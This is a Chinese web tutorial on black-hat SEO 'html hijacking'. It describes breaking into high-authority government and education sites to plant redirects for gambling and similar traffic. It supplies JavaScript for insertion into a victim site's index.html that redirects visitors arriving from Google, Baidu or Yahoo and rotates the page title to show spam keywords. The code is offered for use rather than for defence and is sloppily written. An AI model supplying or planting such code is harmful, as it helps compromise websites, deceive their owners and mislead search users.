【黑帽SEO】SEO中html恶意劫持原理及html劫持代码

其他综合教程 2022-07-03 02:02:44 528

众所周知,黑帽SEO中zui常见的手法便是网页劫持了。其劫持手法众多,asp/aspx/php劫持、js劫持、html劫持等等。今天跟大家先讲讲html劫持的原理及劫持代码。

黑帽SEO

网页代码劫持原理

网页劫持是目前黑帽SEO或者说黑产zui喜欢的一种网页引流方式,此手法往往通过入侵政府、教育机构网站(权重高),修改网站源代码、放寄生虫程序、设置二级目录反向代理等实现。网页劫持可以分为服务端劫持、客户端劫持、百度快照劫持、百度搜索劫持等等;表现形式可以是劫持跳转,也可以是劫持呈现的网页内容,目前被广泛应用于私服、博彩等暴利行业。

html劫持代码

如下:message[0]中的关键词并不是你的关键词,而是给网站原有的人看的;

找到index.html文件,编辑,代码记住是放到下面;

接下来我们看下代码实现方法:

< script LANGUAGE = "Javascript" >
var s = document.referrer
if (s.indexOf("google") > 0 || s.indexOf("baidu") > 0 || s.indexOf("yahoo") > 0) location.href = ""; < /script>
<script LANGUAGE="Javascript">
 	  var message = new Array();
 	  message[0] = "一起学习网|黑帽seo|seo教程|seo自学网";
 	  var reps = 1;
 	  var speed = 0;/ / Set the overall typing speed(larger number = slower action).  
var hold = 4111111 // set the length of time to display the whole phrase before retyping (larger number = longer)
  
var p = message.length;  
var q = 0;  
var r = 0;  
var C = 0;  
var mC = 0;  
var s = 0;  
var sT = null;  
if (reps < 1) {  reps = 1;  
}  
function setMessage() {  typing = message[mC];  q = typing.length;  r = q + hold;  typeMessage();  
}  
function typeMessage() {  
    if (s > r) {  s = 0;  
    }  
    if (s > q) {  document.title = typing;  
    }  
    else {  document.title = typing.substr(0, s);  
    }  
    if (C < (r * reps)) {  sT = setTimeout("typeMessage()", speed);  C++;  s++;  
    }  
    else {  C = 0;  s = 0;  mC++;  
        if (mC > p - 1) {
            mC = 0;
        }  sT = null;  setMessage();  
    }  
}  setMessage();   < /script>

以上就是黑帽SEO中网页劫持也就是html劫持原理以及html劫持代码的知识分享,希望能够帮助到我们众多的seoer。

声明:资源来自网络转载,版权归原作者所有,与本站立场无关,如不慎侵犯了你的权益,请联系我们告知,将做删除处理!

原文地址:《【黑帽SEO】SEO中html恶意劫持原理及html劫持代码》发布于2022-07-03 02:02:44